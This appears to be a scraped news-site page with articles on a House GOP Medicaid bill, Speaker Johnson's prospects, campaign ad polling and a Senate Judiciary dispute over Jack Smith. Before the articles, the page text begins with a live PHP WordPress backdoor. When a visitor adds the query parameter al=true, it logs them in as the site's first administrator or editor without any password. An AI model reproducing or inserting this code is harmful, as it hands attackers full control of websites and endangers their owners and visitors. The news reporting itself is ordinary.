// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); States bear the brunt of House GOP Medicaid plan – Blue Light News
Connect with us

Congress

States bear the brunt of House GOP Medicaid plan

Published

on

House Republicans opted against some of the most dramatic changes they had been considering for Medicaid, the joint federal-state program covering nearly 80 million Americans. But they are plowing forward with other major initiatives that could leave millions without coverage as the GOP starts laying out key provisions of its party-line domestic policy megabill.

The House Energy and Commerce Committee proposal released Sunday night attempts to strike a balance between satiating conservatives’ thirst for deep cuts to the program and placating moderates wary of major coverage losses for low-income Americans.

It does not include the most controversial ideas, including per-capita caps on federal Medicaid payments to states, but it incorporates new mandates that will likely force states to revamp how they finance their programs or cut benefits. It also includes new work requirements that are expected to lead many people to lose coverage, as well as a new cost-sharing requirement for some beneficiaries in the program, not to exceed five percent of a patient’s income.

The Energy and Commerce plan also hits on hot-button social issues — proposing, for instance, to cut federal funding for groups like Planned Parenthood and ban the use of Medicaid dollars for gender-affirming care for youth. It also scales back funding from states that use their own funds to offer coverage for undocumented people.

“Democrats will use this as an opportunity to engage in fear-mongering and misrepresent our bill as an attack on Medicaid,” Chair Brett Guthrie (R-Ky.) wrote in a Wall Street Journal op-ed Sunday. “In reality, it preserves and strengthens Medicaid for children, mothers, people with disabilities and the elderly — for whom the program was designed.”

The panel has been tasked with finding $880 billion in savings to help finance a massive portion of the GOP’s party-line package of tax cuts and extensions, border security investments, energy policy and more. Committee Republicans have been under significant pressure to make politically difficult cuts to Medicaid as part of that effort. Guthrie told committee Republicans on a call Sunday that the package will create more than $900 billion in savings.

Moderate Republicans have been hesitant to make major cuts to the popular safety net program for vulnerable Americans, while fiscal hawks have been angling for transformative “structural” changes. Democrats and many players in the health care industry, including hospitals — which are major employers in many districts — are expected to fiercely oppose the proposal.

“Republican leadership released this bill under cover of night because they don’t want people to know their true intentions,” Rep. Frank Pallone (D-N.J.), the top Energy and Commerce Democrat, said in a statement. “Taking health care away from children and moms, seniors in nursing homes, and people with disabilities to give tax breaks to people who don’t need them is shameful. Democrats have defeated Republican efforts to cut health care before and we can do it again.”

Guthrie worked behind the scenes to placate both moderates and conservatives to get to a deal that both sides can live with, but it remains to be seen whether he and his leadership have in fact landed on a winning strategy. Energy and Commerce is scheduled to meet Tuesday at 2 p.m. to debate and advance the bill.

One of the largest potential sources of savings will come from a policy curbing states’ ability to levy taxes on providers, which could force states to make major changes since the taxes can pay for a state’s share of Medicaid costs. The legislation would freeze state provider taxes at their current rates and prohibit them from establishing any new taxes.

Conservatives argue that states use the taxes to boost their federal share of Medicaid payments without having to use their own revenue. Doctors and hospitals don’t mind because a state can direct the extra funds back to them, making up for the tax hike.

Every state except for Alaska relies on a provider tax of some form, an analysis from the research firm KFF found. Last year, 32 percent of states’ contributions to Medicaid costs came from other sources such as local government funds and the provider taxes. States cannot levy more than 6 percent of a provider’s income and must tax those on and off Medicaid.

Some states have already warned Washington about what would happen if they can’t levy Medicaid taxes. New Jersey’s Medicaid agency released a model of potential changes back in February and would lead to an estimated $2.5 billion in cuts to federal funding.

It also will mandate every state to install a work requirement for certain beneficiaries. Able-bodied adults without any dependents would have to work at least 80 hours a month or perform other activities such as community service. It would not apply to pregnant women and only adults from 19 to 64. Tribal members are also exempt as well as those with serious medical conditions.

Congress would leave it up to states to verify compliance with the work requirement.

The bill would also target state-directed payments, which gives states more power over provider payments and allows some providers to get reimbursed more in line with what commercial insurers pay them. The goal of the payments is to bolster pay rates for providers and encourage them to enter value-based payment arrangements where doctors are paid based on the quality of care delivered. Conservatives have argued there isn’t enough transparency in the payments.

Here’s what else the package would — and wouldn’t — do: 

  • Non-health care policies: The package would allow the federal government to auction off wireless spectrum in a move that is expected to generate $88 billion, Guthrie said. It would also claw back Biden-era green energy spending, including climate spending under the Inflation Reduction Act. 
  • Take on some parts of Medicaid expansion: The package would lower the federal share of payments to states that have expanded Medicaid under the Affordable Care Act if the state allows undocumented immigrants to get Medicaid coverage. It is illegal for undocumented immigrants to get coverage, but several states take on the full amount of coverage without any federal match. 
  • Stricter eligibility checks: The legislation would roll back Biden-era rules limiting Medicaid eligibility checks to once annually, allowing them to be made twice a year. Savings would ensue as more are kicked off the rolls.
  • Address cuts to doctor pay in Medicare: Doctors have been angling to reverse payment cuts mandated by a formula that lawmakers on both sides of the aisle say doesn’t account for rising costs. The package aims to blunt that. 
  • Pharmacy benefit manager reform: The package includes an overhaul of the business practices in Medicaid of the pharmacy intermediaries, which pharmaceutical companies argue have driven up the cost of prescription drugs. PBMs have argued they help negotiate lower drug prices and the reforms would limit their ability to do so. 
  • Drug price negotiation: The package would also soften Medicare’s new power to negotiate drug prices under the Inflation Reduction Act for certain drugs. 
Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Congress

Mike Johnson voices uncertainty about his future if GOP loses control

Published

on

House Speaker Mike Johnson suggested that he could leave Congress if Democrats regain control — the farthest he has gone in acknowledging what he would do in a GOP House minority.

“Heaven forbid, if we lose this majority or whatever, I don’t know what my next chapter of life is,” Johnson said in an interview with Fox News posted this week. “If God moves on our hearts and says we should, you know, go back to my hometown of Shreveport and start a lawn business, I’ll do that with equal fervor.”

In the past, the Louisiana Republican has steered clear of the hypothetical.

Johnson also did not rule out a run at minority leader, instead telling Fox News that House Republicans will hold onto the majority and he will stay speaker.

“I’m going to be the speaker in the next Congress,” Johnson said, when asked if he would run. “I’m not going to talk about the scenario where we don’t win the House, because I am laser-focused on winning the House.”

With the midterms less than a month away, Republicans are doing everything they can to salvage their chances of maintaining their majority in an unfavorable political environment.

As some Republicans privately worry about their chances of holding onto the House, many believe jockeying for a GOP minority leader race is already underway.

House Majority Leader Steve Scalise and Judiciary Chair Jim Jordan are potential names floating around to take over. House Whip Tom Emmer (R-Minn.) had also been named as an option, though he could also run to stay as whip.

All three House Republicans have been campaigning across the country in the lead-up to the election. If Republicans lose the House, GOP members will begin the race for minority leader almost immediately when they return to Washington.

Continue Reading

Congress

Capitol agenda: GOP ads have yet to overwhelm voters, poll finds

Published

on

Republicans have a massive campaign cash advantage going into the final stretch before Election Day, but a new Blue Light News poll shows they aren’t yet capturing voters’ attention.

More than 70% of poll respondents who had seen ads said they’d either seen more spots in support of Democrats or an equal amount between the parties over the past week — including ads on television, social media, or any other platform. Only 24% said they’d seen more ads for Republicans.

The numbers are striking considering Republican-aligned groups had triple the amount of cash on hand compared to their Democratic rivals going into the final months of the campaign. That figure includes the $400 million war chest that President Donald Trump’s MAGA Inc. super PAC reported over the summer, for which Dems have no equivalent.

Republicans have been racing to saturate key battlegrounds — and even some deep-red districts and states — with GOP messages in the final weeks before the midterms to counterbalance the favorable political environment for Democrats.

One reason GOP ad dollars could be getting less bang for their buck may lie in ad rates: direct campaign accounts from prolific individual fundraisers — Georgia Sen. Jon Ossoff or Texas Senate candidate James Talarico, for example — can buy ads at cheaper rates.

Timing may be another reason: Trump’s super PAC waited until recent weeks to start buying ads through affiliate groups, when rates were already high close to the election.

“It’s competition that drives [rates] up to these ridiculous amounts, and then when super PACs come in late with these reservations, it’s even more than a two times disadvantage,” Jeff Burton, GOP campaign strategist and president of Maven Advocacy Partners said in an interview.

Burton said Republican candidates will need to rethink spending strategies to catch voters’ attention in the final stretch. Still, having a cash advantage might only take some so far, he said, citing the massive outspending Michigan’s Abdul El-Sayed and Texas’ Ken Paxton overcame in their respective primaries.

“I think you’ll see a lot of these campaigns diversifying, paying for grassroots, paying for different mediums to try to reach voters,” Burton said.

The poll was conducted by surveying U.S. adults online between Oct. 3-5 with PF Global.

What else we’re watching: 

— FIRST IN IC: DEMS WANT A GOP APOLOGY TO JACK SMITH — Senate Judiciary Democrats are asking chair Chuck Grassley to issue an apology to former special counsel Jack Smith on behalf of GOP committee members and Sen. Eric Schmitt. A letter from committee Democrats to Republicans, obtained exclusively by Blue Light News also demands Grassley turn over the underlying records Schmitt used last month to levy false allegations against Smith of secretly attending an NBA game in Atlanta to conspire with local prosecutors about convicting Trump.

 

— HILL LOBBIES FOR UKRAINIANS IN U.S. — Lawmakers afraid the Trump administration will cancel protections for Ukrainian seeking refuge in the U.S. want the president to consider another option: Do nothing. The administration has until Oct. 19 to renew or cancel temporary protected status for more than 100,000 Ukrainians in the U.S. who fled the war still ravaging their country. While a number of lawmakers on both sides of the aisle are hoping Trump will renew the permission, some also support a backup option — letting the status expire without formally canceling it, triggering an automatic six-month extension.

Chris Marquette, Eric Bazail-Eimil and Andrew Howard contributed to this report.

Continue Reading

Congress

Democrats call on Chuck Grassley to apologize to Jack Smith for basketball gaffe

Published

on

Senate Judiciary Democrats are asking chair Chuck Grassley to apologize to Jack Smith on the behalf of his GOP committee members — especially for Sen. Eric Schmitt, the Missouri Republican who falsely accused Smith of secretly attending an NBA game in Atlanta to conspire with local prosecutors about bringing charges against President Donald Trump.

The letter, spearheaded by ranking member Dick Durbin of Illinois and obtained exclusively by Blue Light News, also demands Grassley turn over the underlying records Schmitt used during a hearing last month to levy the false allegations against Smith, the Biden-era special counsel investigating whether Trump sought to overturn the results of the 2020 election and mishandled classified documents.

The episode, Democrats wrote, “caused needless confusion, slowed down the business of the Committee, introduced the possibility that false information would be entered uncontested into the record, and created an embarrassing stain on one of the most important committees in Congress.”

The Democratic letter to Republicans marks an escalation of the typical bickering between the two parties. It’s also reopening a not-yet-closed wound for Republicans, whose efforts to damage Smith’s reputation during their high-profile hearing were blunted by Schmitt’s error.

Congressional Republicans have for years been working to undermine Smith’s investigations as politically motivated, and many GOP senators on the Judiciary Committee hoped to use their hearing with Smith to catch him in either a lie or an admission he weaponized the judicial system against Trump.

To that end, Schmitt used a giant poster to display images of text messages from Smith’s team in an attempt to prove the special counsel was in Atlanta on Feb. 3, 2024, for an NBA basketball game between the Atlanta Hawks and the Golden State Warriors — scheduled around the same time local prosecutor Fani Willis, who was working to convict Trump over his 2020 election subversion scheme, was facing damaging questions about her conduct.

Sen. Eric Schmitt (R-Mo.) and Sen. John Kennedy (R-La.) display a sign accusing Jack Smith of meeting with Fani Willis during a Senate Judiciary Committee hearing in Washington, D.C., on Sept. 29, 2026.

Smith ultimately clarified he did not attend the NBA game on that date but was instead at a women’s basketball game at the University of Maryland between the Terrapins and the University of Iowa Hawkeyes, then led by star player Caitlin Clark. The exchange went viral and Schmitt continues to show no regret for his apparent misunderstanding.

The text messages “established only that Senator Schmitt had not done the basic due diligence of verifying a document before relying on it,” the Democrats wrote in their letter to Grassley, adding that, “nonetheless, Senator Schmitt incorrectly asserted to Mr. Smith, ‘I think you’ve already perjured yourself,’ and inexcusably branded him ‘a dirtbag,’ language which is beneath the dignity of this Committee and the Senate.”

And because Democrats didn’t have advance access to the materials Schmitt referenced in his presentation during the hearing, they said they were “were forced to synthesize these baseless accusations and respond in real time.”

Democrats also took aim at another record they say was not shared with them ahead of time: a readout of an Aug. 17, 2024, phone call between Smith and the Public Integrity Section of the Justice Department, which Schmitt and fellow Missouri GOP Sen. Josh Hawley both referred to during the Senate Judiciary hearing.

The notes from that phone call, which Hawley mentioned during his questioning of Smith, indicated the Public Integrity Section advised Smith to wait to file an updated indictment against Trump until after the 2024 presidential election. Smith had originally sought to file an amended indictment in the 2020 election subversion case following the Supreme Court’s ruling that Trump had broad immunity for official actions undertaken as president.

Smith testified during the hearing that several drafts of a superseding indictment were passed back and forth before one was ultimately approved and filed in August 2024.

“We ask that you immediately provide all committee records that you have withheld, commit to fully complying with Senate Rules … going forward, and apologize to Mr. Smith on behalf of the Committee,” the Senate Judiciary Democrats wrote.

Clare Slattery, a spokesperson for Grassley, said in a statement, “it’s Jack Smith who owes an apology to the thousands of Americans he and his staff ran roughshod over.”

Spokespeople for Smith, Schmitt and Hawley did not immediately respond to requests for comment.

Continue Reading

Trending